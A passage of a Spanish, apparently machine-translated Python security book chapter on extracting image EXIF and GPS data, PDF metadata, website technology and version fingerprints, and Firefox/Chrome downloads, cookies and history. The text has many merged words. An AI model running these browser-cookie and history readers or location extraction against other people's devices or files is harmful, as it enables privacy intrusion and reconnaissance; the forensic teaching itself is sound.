"longitude": -122.3933,
"metro_code": 807,
"time_zone": "America/Los_Angeles"
},
"postal": {
"code": "94107"
},
"registered_country": {
"geoname_id": 6252001,
"iso_code": "US",
"names": {
"de": "USA",
"en": "United States",
"es": "Estados Unidos",
"fr": "\u00c9tats-Unis",
"ja": "\u30a2\u30e1\u30ea\u30ab\u5408\u8846\u56fd",
"pt-BR": "Estados Unidos",
"ru": "\u0421\u0428\u0410",
"zh-CN": "\u7f8e\u56fd"
},
"subdivisions": [
"geoname_id": 5332921,
"iso_code": "CA",
"names": {
"de": "Kalifornien",
"en": "California",
"es": "California",
"fr": "Californie",
"ja": "\u30ab\u30ea\u30d5\u30a9\u30eb\u30cb\
u30a2\u5dde",
"pt-BR": "Calif\u00f3rnia",
"ru": "\u041a\u0430\u043b\u0438\u0444\u043e\
u0440\u043d\u0438\u044f",
"zh-CN": "\u52a0\u5229\u798f\u5c3c\u4e9a\u5dde"
Continent: "North America"
Country: "United States"
Latitude: 37.7697
Longitude: -122.3933
Time zone: "America/Los_Angeles"
Concluimos la salida con un resumen de la geolocalización,
mostrando información sobre el continente, país, latitud,
longitud y zona horaria.
Ahora que hemos revisado los módulos principalespara obtener
geolocalizaciónA partir de la dirección IP o dominio, vamos a
repasar los principales módulos que encontramos en Python
para extraer metadatos de las imágenes.
Extracción de metadatos de imágenes
En esta sección revisaremosCómo extraer metadatos EXIFA
partir de imágenes con el módulo PIL. El formato de archivo
de imagen intercambiable ( EXIF ) es una especificación
que añade metadatos a ciertos tipos de imágenes.Formatos.
Normalmente, las imágenes JPEG y TIFF contienen este tipo de
metadatos. Las etiquetas EXIF suelen contener detalles de la
cámara y la configuración utilizada para capturar una imagen,
pero también pueden contener información más interesante,
como el autor.derechos de autor y geolocalizacióndatos.
Introducción a EXIF y al módulo PIL
Uno de los módulos principalesque encontramos dentro de
PythonPara el procesamiento y la manipulación de imágenes se
utiliza la Biblioteca de Imágenes de Python ( PIL ). El
módulo PIL permite extraer los metadatos de las imágenes en
formato EXIF. Se puede instalar con el siguiente comando:
$ pip install pillow
EXIF es una especificación que indica las reglas que deben
seguirse al guardar imágenes y define cómo almacenar
metadatos en archivos de imagen y audio. Esta especificación
se aplica actualmente en la mayoría de los dispositivos móviles
y cámaras digitales. El PIL.ExifTagsmódulo permite extraer
información TAGScon GPSTAGSel siguiente formato:
>>> import PIL.ExifTags
>>> help(PIL.ExifTags)
Help on module PIL.ExifTags in PIL:
NAME
PIL.ExifTags
DATA
GPSTAGS = {0: 'GPSVersionID', 1: 'GPSLatitudeRef', 2:
'GPSLatitude', 3...
TAGS = {11: 'ProcessingSoftware', 254: 'NewSubfileType',
255: 'Subfile...
ExifTagsContiene una estructura de diccionario que contiene
constantes y nombres para muchas etiquetas EXIF conocidas.
En el siguiente...Salida, podemos ver todas las etiquetas
devueltas por el TAGS.values()método:
>>> from PIL.ExifTags import TAGS
>>> print(TAGS.values())
dict_values(['ProcessingSoftware', 'NewSubfileType',
'SubfileType', 'ImageWidth', 'ImageLength', 'BitsPerSample',
'Compression', 'PhotometricInterpretation', 'Thresholding',
'CellWidth', 'CellLength', 'FillOrder', 'DocumentName',
'ImageDescription', 'Make', 'Model', 'StripOffsets', 'Orientation',
'SamplesPerPixel', 'RowsPerStrip', 'StripByteCounts',
'MinSampleValue', 'MaxSampleValue', 'XResolution',
'YResolution', 'PlanarConfiguration', 'PageName', 'FreeOffsets',
'FreeByteCounts',
...
En la salida anterior, podemos ver algunos de los valores de
etiqueta que podemos procesar para obtener información de
metadatos de las imágenes. Ahora que hemos revisado las
principales etiquetas que podemos extraer de una imagen,
continuaremos.para analizar los submódulos que tenemos
dentro del módulo PILpara extraer la información de estas
etiquetas.
Obtener los datos EXIF de una imagen
En esta sección revisaremos el PILsubmódulos para obtener
metadatos EXIFa partir de imágenes.
Primero, importamos los módulos PIL.imagey PIL.TAGS. PIL es
un módulo de procesamiento de imágenes en Python
compatible con varios formatos de archivo y con una potente
capacidad de procesamiento de imágenes. A continuación,
iteramos los resultados e imprimimos los valores. En este
ejemplo, para obtener los datos EXIF, podemos usar
el _getexif()método . Puede encontrar el siguiente código en
el get_exif_tags.pyarchivo de la exiftagscarpeta:
from PIL import Image
from PIL.ExifTags import TAGS
def get_exif_tags():
ret = {}
i = Image.open('images/image.jpg')
info = i._getexif()
for tag, value in info.items():
decoded = TAGS.get(tag, tag)
ret[decoded] = value
return ret
print(get_exif_tags())
En el script anterior, usamos el _getexif()método para obtener
la información de las etiquetas EXIF de una imagen ubicada en
la imagescarpeta. En la siguiente salida, podemos ver la
ejecución del script anterior:
$ python get_exif_tags.py
{'GPSInfo': {0: b'\x00\x00\x02\x02', 1: 'N', 2: (32.0, 4.0, 43.49),
3: 'E', 4: (131.0, 28.0, 3.28), 5: b'\x00', 6: 0.0}, 'ResolutionUnit':
2, 'ExifOffset': 146, 'Make': 'Canon', 'Model': 'Canon EOS-5',
'Software': 'Adobe Photoshop CS2 Windows', 'DateTime':
'2008:03:09 22:00:01', 'YResolution': 300.0, 'Copyright': 'Frank
Noort', 'XResolution': 300.0, 'Artist': 'Frank Noort', 'ExifVersion':
b'0220', 'ImageUniqueID':
'2BF3A9E97BC886678DE12E6EB8835720', 'DateTimeOriginal':
'2002:10:28 11:05:09'}
Podemos iterar sobre el script anterior.con funciones que
devuelven metadatos de etiquetas EXIFDesde una ruta de
imagen determinada. Puedes encontrar el siguiente código en
el extractDataFromImages.pyarchivo de la exiftagscarpeta:
def get_exif_metadata(image_path):
exifData = {}
image = Image.open(image_path)
if hasattr(image, '_getexif'):
exifinfo = image._getexif()
if exifinfo is not None:
for tag, value in exifinfo.items():
decoded = TAGS.get(tag, tag)
exifData[decoded] = value
decode_gps_info(exifData)
return exifData
Podríamos mejorar la información
relacionada GPSInfodecodificando la información en formato de
valores de latitud y longitud.
Este convert_to_degress(values)método nos permite convertir
las coordenadas GPS almacenadas en el EXIF a grados en
formato float. En este decode_gps_info(exif)método,
proporcionamos un objeto EXIF como parámetro que contiene
la información almacenada en un GPSInfoobjeto, decodificamos
dicha información y analizamos los datos relacionados
con geolas referencias:
def convert_to_degress(value):
d = float(value[0])
m = float(value[1])
s = float(value[2])
return d + (m / 60.0) + (s / 3600.0)
def decode_gps_info(exif):
gpsinfo = {}
if 'GPSInfo' in exif:
for key in exif['GPSInfo'].keys():
decode = GPSTAGS.get(key,key)
gpsinfo[decode] = exif['GPSInfo'][key]
exif['GPSInfo'] = gpsinfo
latitude = exif['GPSInfo']['GPSLatitude']
latitude_ref = exif['GPSInfo']['GPSLatitudeRef']
longitude = exif['GPSInfo']['GPSLongitude']
longitude_ref = exif['GPSInfo']['GPSLongitudeRef']
if latitude:
latitude_value = convert_to_degress(latitude)
if latitude_ref != 'N':
latitude_value = -latitude_value
else:
return {}
if longitude:
longitude_value = convert_to_degress(longitude)
if longitude_ref != 'E':
longitude_value = -longitude_value
exif['GPSInfo'] = {"Latitude" : latitude_value, "Longitude" :
longitude_value}
En el script anterior, analizamos la información contenidaen
la EXIFmatriz. Si esta matriz contiene informaciónEn relación
con el geoposicionamiento del GPSInfoobjeto, extraemos la
información sobre los metadatos GPS que contiene. A
continuación, se representa nuestra función
principal, printMetadata()que extrae metadatos de las
imágenes del imagesdirectorio:
def printMetadata():
for dirpath, dirnames, files in os.walk("images"):
for name in files:
print("[+] Metadata for file: %s " %
(dirpath+os.path.sep+name))
try:
exifData = {}
exif =
get_exif_metadata(dirpath+os.path.sep+name)
for metadata in exif:
print("Metadata: %s - Value: %s " %(metadata,
exif[metadata]))
print("\n")
except:
import sys, traceback
traceback.print_exc(file=sys.stdout)
if __name__ == "__main__":
printMetadata()
En la siguiente salida, obtenemos información relacionada con
el GPSInfoobjeto sobre la latitud y la longitud:
$ python extractDataFromImages.py
[+] Metadata for file: images/image.jpg
{'GPSVersionID': b'\x00\x00\x02\x02', 'GPSLatitudeRef': 'N',
'GPSLatitude': (32.0, 4.0, 43.49), 'GPSLongitudeRef': 'E',
'GPSLongitude': (131.0, 28.0, 3.28), 'GPSAltitudeRef': b'\x00',
'GPSAltitude': 0.0}
Metadata: GPSInfo - Value: {'Latitude': 32.078747222222226,
'Longitude': 131.4675777777778}
Metadata: ResolutionUnit - Value: 2
Metadata: ExifOffset - Value: 146
Metadata: Make - Value: Canon
Metadata: Model - Value: Canon EOS-5
...
Hay otros módulos que lo soportanExtracción de datos EXIF,
como el ExifReadmódulo
( https://pypi.org/project/ExifRead ). Podemos instalar este
módulo con el siguiente comando:
$ pip install exifread
En este ejemplo, estamos usandoEste módulo permite obtener
los datos EXIF. Puede encontrar lo siguiente:código en
el tags_exifRead.pyarchivo en la exiftagscarpeta:
import exifread
file = open('images/image.jpg', 'rb')
tags = exifread.process_file(file)
for tag in tags.keys():
print("Key: %s, value %s" % (tag, tags[tag]))
En el script anterior, abrimos el archivo de imagen en modo
lectura/binario y, con el process_file()método
del exifreadmódulo, obtenemos todas las etiquetas en formato
de diccionario, asignando los nombres de EXIFlas etiquetas a
sus valores. Finalmente, usamos el keys()método para iterar
por este diccionario y obtener todas las EXIFetiquetas. En la
siguiente salida parcial, podemos ver la ejecución del script
anterior:
$ python tags_exifRead.py
Key: Image Make, value Canon
Key: Image Model, value Canon EOS-5
Key: Image XResolution, value 300
Key: Image YResolution, value 300
Key: Image ResolutionUnit, value Pixels/Inch
Key: Image Software, value Adobe Photoshop CS2 Windows
....
En esta sección, hemos revisado cómo extraer metadatos EXIF,
incluidas las etiquetas GPS, de las imágenes.con
PILy EXIFReadmódulos.
Ahora que hemos revisado algunos módulos que se pueden
utilizar para extraer metadatos de imágenes, vamos a revisar
los principales módulos que podemos encontrar en Python para
extraer metadatos de documentos PDF.
Extracción de metadatos de documentos PDF
Metadatos del documentoes un tipo de información que se
almacenaDentro de un archivo, se utiliza para proporcionar
información adicional sobre dicho archivo. Esta información
puede estar relacionada con el software utilizado para crear el
documento, el nombre del autor o la organización, así como la
fecha y hora de creación o modificación del archivo.
Cada aplicación almacena metadatos de forma diferente, y la
cantidad de metadatos almacenados en un documento casi
siempre dependerá del software utilizado para crearlo. En esta
sección, revisaremos cómo extraer metadatos de documentos
PDF con los módulos PyPDF2 y PyMuPDF.
Extracción de metadatos con PyPDF2
Comenzaremos con PyPDF2, cuyo módulose puede instalar
directamentecon el siguiente comando:
$ pip install PyPDF2
Este módulo nos ofrece la posibilidad de extraer información
del documento utilizando la PdfFileReaderclase y
el getDocumentInfo()método, el cual devuelve un diccionario
con los datos del documento.
Podríamos empezar extrayendo el número de páginas usando
el getNumPages()método de la PdfFileReaderclase. También
podríamos usar la salida del pdfinfocomando para obtener esta
información. Puedes encontrar el siguiente código en
el get_num_pages_pdf.pyarchivo de la pypdf2carpeta:
from PyPDF2 import PdfFileReader
pdf = PdfFileReader(open('pdf/XMPSpecificationPart3.pdf','rb'))
print(str(pdf.getNumPages()))
from subprocess import check_output
def get_num_pages(pdf_path):
output = check_output(["pdfinfo", pdf_path]).decode()
pages_line = [line for line in output.splitlines() if "Pages:" in
line][0]
num_pages = int(pages_line.split(":")[1])
return num_pages
print(get_num_pages('pdf/XMPSpecificationPart3.pdf'))
El siguiente script nos permite obtenerlos metadatos de todos
los documentos PDFDisponibles en la pdfcarpeta. El siguiente
código se encuentra en el extractDataFromPDF.pyarchivo de
la pypdf2carpeta:
from PyPDF2 import PdfReader, PdfFileWriter
import os, time, os.path, stat
from PyPDF2.generic import NameObject, createStringObject
def get_metadata():
for dirpath, dirnames, files in os.walk("pdf"):
for data in files:
ext = data.lower().rsplit('.', 1)[-1]
if ext in ['pdf']:
print("[--- Metadata : " + "%s ",
(dirpath+os.path.sep+data))
print("---------------------------------------------------------")
pdfReader =
PdfReader(open(dirpath+os.path.sep+data, 'rb'))
info = pdfReader.getDocumentInfo()
for metaItem in info:
print ('[+] ' + metaItem.strip( '/' ) + ': ' +
info[metaItem])
pages = pdfReader.getNumPages()
print ('[+] Pages:', pages)
layout = pdfReader.getPageLayout()
print ('[+] Layout: ' + str(layout))
En el código anterior, usamos la walkfunción del osmódulo para
navegar por todos los archivos y directorios que están incluidos
en un directorio específico.
Una vez verificada la existencia del objetivo, utilizamos
la os.walkfunción (objetivo), que nos permite realizar un
análisis detallado de su objetivo. Para cada archivo encontrado,
analiza su extensión e invoca la función correspondiente para
imprimir los metadatos si la extensión es compatible. Para cada
documento PDF encontrado en la pdfcarpeta, invocamos
los getDocumentInfo()métodos , getNumPages()y .getPageLayo
ut()
La Plataforma de Metadatos Extensible ( XMP ) es otra
especificación de metadatos, generalmenteSe aplica a archivos
de tipo PDF, pero también a JPEG, GIF, PNG y otros. Esta
especificación incluye datos más genéricos, como información
sobre títulos, creadores y descripciones.
Este módulo nos ofrece la posibilidadpara extraer datos XMP
usando la PdfFileReaderclaseY el getXmpMetadata()método,
que devuelve una clase de tipo XmpInformation. En el siguiente
código, usamos este método para obtener información XMP
relacionada con el documento, como los colaboradores, el
editor y la versión PDF:
xmpinfo = pdfReader.getXmpMetadata()
if hasattr(xmpinfo,'dc_contributor'): print ('[+] Contributor:' ,
xmpinfo.dc_contributor)
if hasattr(xmpinfo,'dc_identifier'): print ( '[+] Identifier:',
xmpinfo.dc_identifier)
if hasattr(xmpinfo,'dc_date'): print ('[+] Date:',
xmpinfo.dc_date)
if hasattr(xmpinfo,'dc_source'): print ('[+] Source:',
xmpinfo.dc_source)
if hasattr(xmpinfo,'dc_subject'): print ('[+] Subject:' ,
xmpinfo.dc_subject)
if hasattr(xmpinfo,'xmp_modifyDate'): print ('[+] ModifyDate:',
xmpinfo.xmp_modifyDate)
if hasattr(xmpinfo,'xmp_metadataDate'): print ('[+]
MetadataDate:', xmpinfo.xmp_metadataDate)
if hasattr(xmpinfo,'xmpmm_documentId'): print ('[+]
DocumentId:' , xmpinfo.xmpmm_documentId)
if hasattr(xmpinfo,'xmpmm_instanceId'): print ('[+] InstanceId:',
xmpinfo.xmpmm_instanceId)
if hasattr(xmpinfo,'pdf_keywords'): print ('[+] PDF-Keywords:',
xmpinfo.pdf_keywords)
if hasattr(xmpinfo,'pdf_pdfversion'): print ('[+] PDF-Version:',
xmpinfo.pdf_pdfversion)
if hasattr(xmpinfo,'dc_publisher'):
for published in xmpinfo.dc_publisher:
if publisher:
print ("[+] Publisher:\t" + publisher)
En la siguiente salida, podemos ver la ejecución del script
anterior.sobre un PDF que contiene ambos tiposde metadatos:
$ python extractDataFromPDF.py
------------------------------------------------------------------------------------
[--- Metadata : pdf/XMPSpecificationPart3.pdf
------------------------------------------------------------------------------------
PdfReadWarning: Xref table not zero-indexed. ID numbers for
objects will be corrected. [pdf.py:1736]
[+] CreationDate: D:20080916081940Z
[+] Subject: Storage and handling of XMP in files, and legacy
metadata in still image file formats.
[+] Copyright: Copyright 2008, Adobe Systems Incorporated, all
rights reserved.
[+] Author: Adobe Developer Technologies
[+] Creator: FrameMaker 7.2
[+] Keywords: XMP metadata Exif IPTC PSIR file I/O
[+] Producer: Acrobat Distiller 8.1.0 (Windows)
[+] ModDate: D:20080916084343-07'00'
[+] Marked: True
[+] Title: XMP Specification Part 3: Storage in Files
[+] Pages: 86
...
[+] PDF-Keywords: XMP metadata Exif IPTC PSIR file I/O
[+] PDF-Version: None
[+] Size: 644542 bytes
Este módulo también proporciona un método extractText()para
extraer texto de documentos PDF. El siguiente script permite
obtener el texto de un número de página específico. Puede
encontrar el siguiente código en
el extractTextFromPDF.pyarchivo de la pypdf2carpeta:
import PyPDF2
pdfFile = open("pdf/XMPSpecificationPart3.pdf","rb")
pdfReader = PyPDF2.PdfFileReader(pdfFile)
page_number= input("Enter page number:")
pageObj = pdfReader.getPage(int(page_number)-1)
text_pdf = str(pageObj.extractText())
print(text_pdf)
Continuaremos analizandoEl módulo PyMuPDF, que nos permite
extraermetadatos de documentos PDF.
Extracción de metadatos con PyMuPDF
Otra forma de extraertexto de documentos PDFestá utilizando
el módulo PyMuPDF
( https://github.com/pymupdf/PyMuPDF ), que está
disponible en el repositorio de PyPi , y puede instalarlocon el
siguiente comando:
$ pip install PyMuPDF
La visualización de la información del documento y la
extracción de texto de un documento PDF se realiza de manera
similar a con PyPDF2.El módulo que se importará se
llama fitz y proporciona un método load_page()para cargar una
página específica. Para extraer texto de una página específica,
podemos usar el get_text()método del pageobjeto. El siguiente
script permite obtener el texto de un número de página
específico. Puede encontrar el siguiente código en
el extractTextFromPDF_fitz.pyarchivo de la pymupdfcarpeta:
import fitz
pdf_document = "pdf/XMPSpecificationPart3.pdf"
doc = fitz.open(pdf_document)
print ("number of pages: %i" % doc.page_count)
page_number= input("Enter page number:")
page = doc.load_page(int(page_number)-1)
page_text = page.get_text("text")
print(page_text)
Este módulo permite extraer imágenes de archivos PDF
mediante el get_page_images()método . Puede encontrar el
siguiente código en el extractImagesFromPDF_fitz.pyarchivo de
la pymupdfcarpeta:
import fitz
pdf_document = fitz.open("pdf/XMPSpecificationPart3.pdf")
for current_page in range(len(pdf_document)):
for image in pdf_document.get_page_images(current_page):
xref = image[0]
pix = fitz.Pixmap(pdf_document, xref)
pix.save("page%s-%s.png" % (current_page, xref))
print("Extracted image page%s-%s.png" % (current_page,
xref))
El script anterior extrae y guarda todas las imágenes del
documento PDF como archivos PNG. Este será el resultado al
ejecutar el script anterior:
$ python extractImagesromPDF_fitz.py
Extracted image page37-316.png
Extracted image page62-410.png
Ahora que hemos revisadoLos principales módulos para extraer
metadatos de documentos PDF, vamos a repasar los
principales módulos que podemos encontrar en Python para
extraer las tecnologíasque utiliza un sitio web.
Identificar la tecnología utilizada por un sitio web
El tipo de tecnologíautilizado para crear un sitio web afecta la
formase recupera la informacióndesde la navegación de un
usuarioPunto de vista. Para identificar esta información, puede
utilizar herramientas
como Wappalyzer ( https://www.wappalyzer.com )
y builtwith ( https://builtwith.com ).
Una herramienta útil para verificar el tipo de tecnologías con
las que está construido un sitio web es el módulo BuiltWith
( https://pypi.org/project/builtwith ), que se puede instalar
con este comando:
$ pip install builtwith
Este módulo proporciona un método llamado parse(), que se
pasa por el URLparámetro y devuelve las tecnologías utilizadas
por el sitio web como respuesta. En la siguiente salida,
podemos ver la respuesta de dos sitios web:
>>> import builtwith
>>> builtwith.parse('http://python.org')
{'web-servers': ['Nginx'], 'javascript-frameworks': ['Modernizr',
'jQuery', 'jQuery UI']}
>>> builtwith.parse('http://packtpub.com')
{'cdn': ['CloudFlare'], 'font-scripts': ['Google Font API'], 'tag-
managers': ['Google Tag Manager'], 'web-frameworks': ['Twitter
Bootstrap'], 'javascript-frameworks': ['Vue.js']}
Analizador de wappa
Otra herramienta para descubrirEste tipo de información se
conoce como Wappalyzer . Wappalyzer cuenta con una base
de datos de firmas de aplicaciones web que permite identificar
más de 900 tecnologías web de más de 50 categorías. La
herramienta analiza múltiples elementos de un sitio web para
determinar sus tecnologías utilizando los siguientes elementos
HTML:
Encabezados de respuesta HTTP en el servidor
Etiquetas meta HTML
Archivos JavaScript, tanto por separado como incrustados
en el HTML
Contenido HTML específico
Comentarios específicos de HTML
python-Wappalyzer ( https://github.com/chorsley/
python-Wappalyzer ) es una interfaz de PythonPara obtener
esta información, puede instalarlo con el siguiente comando:
$ pip install python-Wappalyzer
Podríamos utilizar este módulo para obtener información sobre
las tecnologías utilizadas en las capas frontend y backend de
un sitio web:
>>> from Wappalyzer import Wappalyzer, WebPage
>>> wappalyzer = Wappalyzer.latest()
>>> webpage =
WebPage.new_from_url('http://www.python.org')
>>> wappalyzer.analyze(webpage)
{'Varnish', 'jQuery UI', 'jQuery', 'Nginx', 'Modernizr'}
>>> webpage =
WebPage.new_from_url('http://www.packtpub.com')
>>> wappalyzer.analyze(webpage)
{'Google Font API', 'jQuery', 'Bootstrap', 'Google Tag Manager',
'Cloudflare'}
>>> wappalyzer.analyze_with_categories(webpage)
{'Google Font API': {'categories': ['Font scripts']}, 'jQuery':
{'categories': ['JavaScript libraries']}, 'Bootstrap': {'categories':
['UI frameworks']}, 'Google Tag Manager': {'categories': ['Tag
managers']}, 'Cloudflare': {'categories': ['CDN']}}
Recopilador de información de aplicaciones web (WIG)
Otra herramienta interesante para conseguirLa información
sobre la versión del servidor que utiliza un sitio web se
encuentra en WebApp Information Gatherer ( WIG )
( https://github.com/jekyc/wig ). Wig es una herramienta
desarrollada en Python 3 que...Puede identificar
numerosos sistemas de gestión de contenido ( CMS ) y
otras aplicaciones administrativas, como la web.Versión del
servidor. Internamente, obtiene la versión del servidor.Versión
del sistema operativo que utiliza el servidor y el sitio web con
encabezados X-Powered-By . Estos encabezados...Son
encabezados de respuesta HTTP que generalmente devuelven
qué tipo de servidor es.
Puedes descargar el código fuente con el siguiente comando:
$ git clone https://github.com/jekyc/wig
Estas son las opciones que proporciona el wigscript en el
entorno Python 3 al ejecutar el siguiente comando:
$ python wig.py -h
usage: wig.py [-h] [-l INPUT_FILE] [-q] [-n STOP_AFTER] [-a] [-m]
[-u] [-d]
[-t THREADS] [--no_cache_load] [--no_cache_save] [-N]
[--verbosity] [--proxy PROXY] [-w OUTPUT_FILE]
[url]
En la siguiente salida, podemos ver la ejecución.del script
anterior en el python.orgsitio web:
$ python wig.py http://www.python.org
________________________________________________________ SITE
INFO ________________________________________________________
IP Title
151.101.132.223 Welcome to Python.org
_________________________________________________________
VERSION
_________________________________________________________
Name Versions
Type
Django 1.10 | 1.10.1 | 1.10.2 | 1.10a1 | 1.10b1 |
1.10rc1 | 1.9 CMS
1.9.1 | 1.9.10 | 1.9.2 | 1.9.3 | 1.9.4 | 1.9.5 |
1.9.6
1.9.7 | 1.9.8 | 1.9.9
nginx Platform
________________________________________________________
SUBDOMAINS
_______________________________________________________
Name Page Title IP
https://blog.python.org:443 Python Insider
151.101.64.175
_______________________________________________________
INTERESTING
_______________________________________________________
URL Note Type
/robots.txt robots.txt index
Interesting
_____________________________________________________
VULNERABILITIES
_____________________________________________________
Affected #Vulns Link
Django 1.9 4
http://cvedetails.com/version/190780
Django 1.9.1 4
http://cvedetails.com/version/190779
Django 1.9.2 3
http://cvedetails.com/version/198989
Django 1.9.3 1
http://cvedetails.com/version/200841
Django 1.9.4 1
http://cvedetails.com/version/200842
Django 1.9.5 1
http://cvedetails.com/version/200843
Django 1.9.6 1
http://cvedetails.com/version/200844
Django 1.9.7 1
http://cvedetails.com/version/200845
________________________________________________________________
_______________________________________________________
Time: 31.5 sec Urls: 644 Fingerprints:
40401
En la salida anterior, podemos ver cómo detecta la versión del
CMS, el nginxservidor web y otros datos
interesantes.información, como los subdominios utilizados por
el python.orgsitio web.
Ahora que hemos revisado los módulos principales para
mapear las tecnologías que utiliza un sitio web, vamos a
revisar las herramientas que podemos usar para extraer
metadatos almacenados por los navegadores Chrome y Firefox.
Extracción de metadatos de navegadores web
En el siguiente apartado vamos a analizarCómo extraer
metadatoscomo descargas, historial y cookies de los
navegadores web Chrome y Firefox.
Análisis forense de Firefox con Python
Firefox almacena datos del navegadoren bases de datos
SQLite cuyasLa ubicación dependeEn el sistema operativo. Por
ejemplo, en Linux, estos datos se encuentran
en /home/<user>/.mozilla/Firefox/.
Por ejemplo, en el places.sqlitearchivo, encontramos la base de
datos que contiene el historial de navegación, la cual puede
examinarse con cualquier navegador SQLite. En la siguiente
captura de pantalla, vemos el navegador SQLite con las tablas
disponibles en la places.sqlitebase de datos:
Figura 12.1: La base de datos places.sqlite
Podríamos crear un script de Python que extraiga información
de las tablas moz_downloads, moz_cookiesy moz_historyvisits.
Obtenemos las descargas de la moz_downloadstabla y, para
cada resultado, imprimimos información sobre el nombre del
archivo y la fecha de descarga. Puedes encontrar el siguiente
código en el firefoxParseProfile.pyarchivo dentro de
la firefox_profilecarpeta:
import sqlite3
import os
def getDownloads(downloadDB):
try:
connection = sqlite3.connect(downloadDB)
cursor = connection.cursor()
cursor.execute('SELECT name, source,
datetime(endTime/1000000,\'unixepoch\') FROM
moz_downloads;')
print('\n[*] --- Files Downloaded --- ')
for row in cursor:
print('[+] File: ' + str(row[0]) + ' from source: ' +
str(row[1]) + ' at: ' + str(row[2]))
except Exception as exception:
print('\n[*] Error reading moz_downloads database
',exception)
En el siguiente código, obtenemos cookies de
la moz_cookiestabla y, para cada resultado, imprimimos
información sobre el host y el nombre y valor de la cookie:
def getCookies(cookiesDB):
try:
connection = sqlite3.connect(cookiesDB)
cursor = connection.cursor()
cursor.execute('SELECT host, name, value FROM
moz_cookies')
print('\n[*] -- Found Cookies --')
for row in cursor:
print('[+] Host: ' + str(row[0]) + ', Cookie: ' +
str(row[1]) + ', Value: ' + str(row[2]))
except Exception as exception:
print('\n[*] Error reading moz_cookies database
',exception)
En el siguiente código, obtenemosla historia de las
tablas moz_placesy moz_historyvisits, y para cada unaComo
resultado, imprimimos información sobre la fecha y el sitio
visitado:
def getHistory(placesDB):
try:
connection = sqlite3.connect(placesDB)
cursor = connection.cursor()
cursor.execute("select url, datetime(visit_date/1000000,
'unixepoch') from moz_places, moz_historyvisits where
visit_count > 0 and moz_places.id==
moz_historyvisits.place_id;")
print('\n[*] -- Found History --')
for row in cursor:
print('[+] ' + str(row[1]) + ' - Visited: ' + str(row[0]))
except Exception as exception:
print('\n[*] Error reading moz_places,moz_historyvisits
databases ',exception)
En nuestro programa principal, realizamos las llamadas a las
funciones previamente definidas, pasando como parámetro el
archivo de base de datos SQLite correspondiente a cada una.
def main():
if os.path.isfile('downloads.sqlite'):
getDownloads('downloads.sqlite')
else:
print('[!] downloads.sqlite not found ')
if os.path.isfile('cookies.sqlite'):
getCookies('cookies.sqlite')
else:
print('[!] cookies.sqlite not found ')
if os.path.isfile('places.sqlite'):
getHistory('places.sqlite')
else:
print('[!] places.sqlite not found: ')
if __name__ == '__main__':
main()
Para ejecutar lo anteriorscript, debe copiar las bases de datos
SQLite en la misma carpetaDonde se ejecuta el script. En el
repositorio de GitHub, se pueden encontrar ejemplos de estas
bases de datos. También se pueden probar los archivos SQLite
que se encuentran en la ruta de configuración del navegador.
Al ejecutar el script anterior, se observa el siguiente resultado:
$ python firefoxParseProfile.py
[*] --- Files Downloaded ---
[+] File: python-nmap-0.1.4.tar.gz from source:
http://xael.org/norman/python/python-nmap/python-nmap-
0.1.4.tar.gz at: 2012-06-20 02:53:09
[*] -- Found Cookies --
[+] Host: .stackoverflow.com, Cookie: prov, Value: 61811fbf-
bd7d-0266-bfaa-f86d4d499207
[*] -- Found History --
[+] 2012-06-20 02:52:52 - Visited: http://www.google.com/cse?
cx=partner-pub-9300639326172081%3Aljvx4jdegwh&ie=UTF-
8&q=python-nmap&sa=Search
[+] 2012-06-20 02:52:58 - Visited: https://www.google.com/url?
q=http://xael.org/norman/python/python-nmap/
&sa=U&ei=ADvhT8CJOMXg2QWVq9DfCw&ved=0CAUQFjAA&cli
ent=internal-uds-
cse&usg=AFQjCNFG2YI1vud2nwFGe7l9gAQJq7GMIQ
Ahora que hemos revisado los archivos principales donde se
almacenan las descargas, las cookies y el historial del
navegador Firefoxdonde se encuentra el navegador, vamos a
revisar el módulo firefox-
profile ( https://pypi.org/project/firefox-profile ), que
automatiza el proceso de extracción de metadatos del perfil de
Firefox.
$ pip install firefox-profile
Podemos crear un script de Python que extraiga información de
los perfiles de Firefox. Puedes encontrar el siguiente código en
el get_firefox_profiles.pyarchivo dentro de
la firefox_profilecarpeta:
from firefox_profile import FirefoxProfile
for profile in FirefoxProfile.get_profiles():
recovery_data = profile.get_recovery_data()
if recovery_data is None:
continue
for i, window in enumerate(recovery_data.windows):
print(f"window {i}")
print(f" workspace: {window.workspace}")
print(f" zindex: {window.zindex}")
print(f" size: {window.size!r}")
print(f" position: {window.position!r}")
print(f" mode: {window.mode}")
print(f" tabs:")
for j, tab in enumerate(window.tabs):
print(f" tab {j}")
print(f" url: {tab.url}")
print(f" title: {tab.title}")
print(f" last_accessed: {tab.last_accessed}")
Con la ejecución del script anterior, podemos obteneraquellas
URL que el usuario ha utilizado en la navegación con su
Firefoxperfil. La siguiente ejecución muestra las URL que ha
abierto en su sesión actual de Firefox.
$ python3.10 get_firefox_profiles.py
window 0
workspace: None
zindex: 1
size: (656, 552)
position: (35, 32)
mode: maximized
tabs:
tab 1
url: https://codered.eccouncil.org/courseVideo/network-
defense-essentials?lessonId=208a2e0b-da7b-4547-b9be-
f3c78f860ca6&finalAssessment=false&logged=true
title: Module 5: Network Security Controls: Technical
Controls
last_accessed: 2023-03-22 21:47:23.586000
Del mismo modoque podemos extraermetadatos del navegador
Firefox, podemos hacerlo con Chrome ya que la información
también se guarda en una base de datos SQLite.
Análisis forense de Chrome con Python
Google Chrome almacena datos del navegadoren
SQLitebases de datos ubicadasen las siguientes carpetas,
dependiendo del sistema operativo:
Windows 7 y 10 :C:\Users\[USERNAME]\AppData\Local\
Google\Chrome\
Linux :/home/$USER/.config/google-chrome/
macOS :~/Library/Application Support/Google/Chrome/
Por ejemplo, en el Historyarchivo SQLite, podemos encontrar la
base de datos que contiene el historial de navegación bajo
la Defaultcarpeta, y se puede examinar usando cualquier
navegador SQLite.
En la siguiente captura de pantalla, podemos ver el navegador
SQLite con las tablas disponibles en la base de datos del
historial:
Figura 12.2: Tablas disponibles en la base de datos de historial
SQLite
Entre las mesas de la historiabase de datos y los campos
asociadosy columnas, podemos destacar las siguientes:
descargas : id, current_path, target_path, start_time, rec
eived_bytes, total_bytes, state, danger_type, interrupt_rea
son, end_time, opened, referrer, by_ext_id, by_ext_name,
etag, last_modified, mime_type, yoriginal_mime_type
cadenas_url_descargas : id, chain_index, url
keyword_search_terms: keyword_id, url_id, lower_term,
yterm
meta : key,value
uso_de_segmento : id, segment_id, time_slot,
yvisit_count
segmentos : id, name, yurl_id
URL : id, url, title, visit_count, typed_count, last_visit_time
, hidden, yfavicon_id
En la siguiente captura de pantalla, puedes ver las columnas
